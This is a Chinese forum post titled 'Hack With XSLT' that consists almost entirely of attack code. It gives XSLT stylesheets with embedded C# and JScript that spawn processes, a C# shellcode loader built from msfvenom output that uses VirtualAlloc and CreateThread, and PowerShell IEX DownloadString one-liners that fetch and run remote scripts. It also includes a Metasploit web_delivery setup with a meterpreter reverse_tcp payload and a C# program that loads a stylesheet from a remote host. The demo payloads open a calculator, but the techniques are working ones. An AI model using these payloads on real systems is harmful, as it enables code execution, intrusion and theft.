Hack With XSLT - 冰楓論壇

<font size="3"><xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:my="urn:MyModule">
<msxsl:script implements-prefix="my" language="C#">
public void Exec()
{
System.Diagnostics.Process.Start("Calc.exe");
}
</msxsl:script>
<xsl:template match="data">
<result>
<xsl:value-of select="my:Exec()" />
</result>
</xsl:template>
</xsl:stylesheet></font>

複製代碼

<msxsl:script language = "language-name" implements-prefix = "prefix of user namespace"> </msxsl:script>

複製代碼

<font size="3"><msxsl:script language = "language-name" implements-prefix = "prefix of user namespace"> </msxsl:script></font>

複製代碼

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/calc.xslt"

複製代碼

<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:shellcode="urn:MyModule">
<msxsl:script implements-prefix="shellcode" language="C#">
<msxsl:using namespace="System.Runtime.InteropServices" />
<![CDATA[
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public void Exec()
{
#msfvenom --payload windows/x64/exec CMD="calc" EXITFUNC=thread -f csharp
byte[] shellcode = new new byte[272] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
]]>
</msxsl:script>
<xsl:template match="data">
<result>
<xsl:value-of select="shellcode:Exec()" />
</result>
</xsl:template>
</xsl:stylesheet>

複製代碼

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
function test(){
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</msxsl:script>
<xsl:template match="data">
<result>
<xsl:value-of select="user:test()" />
</result>
</xsl:template>
</xsl:stylesheet>

複製代碼

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/js_calc.xslt"

複製代碼

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.101
set lport 8889
set uripath xslt
exploit

複製代碼

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.XPath;
using System.Xml.Xsl;
using System.Xml;
namespace ApplyXSLTToXML
{
class Program
{
static void Main(string[] args)
{
string XMLFilePath = @"http://evi1cg.me/scripts/example.xml";
string XSLTFilePath = @"http://evi1cg.me/scripts/calc.xslt";
try
{
XsltSettings xslt_settings = new XsltSettings(false, true);
xslt_settings.EnableScript = true;
XslCompiledTransform xslt = new XslCompiledTransform();
XmlUrlResolver resolver = new XmlUrlResolver();
// Load documents
xslt.Load(XSLTFilePath, xslt_settings, resolver);
XPathDocument xmlPathDoc = new XPathDocument(XMLFilePath);
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
settings.OmitXmlDeclaration = true;
XmlWriter writer = XmlWriter.Create("output.xml", settings);
xslt.Transform(xmlPathDoc,writer);
writer.Close();
}
catch (Exception e)
{
Console.WriteLine("Error:");
Console.WriteLine(e.Message);
}
}
}
}

複製代碼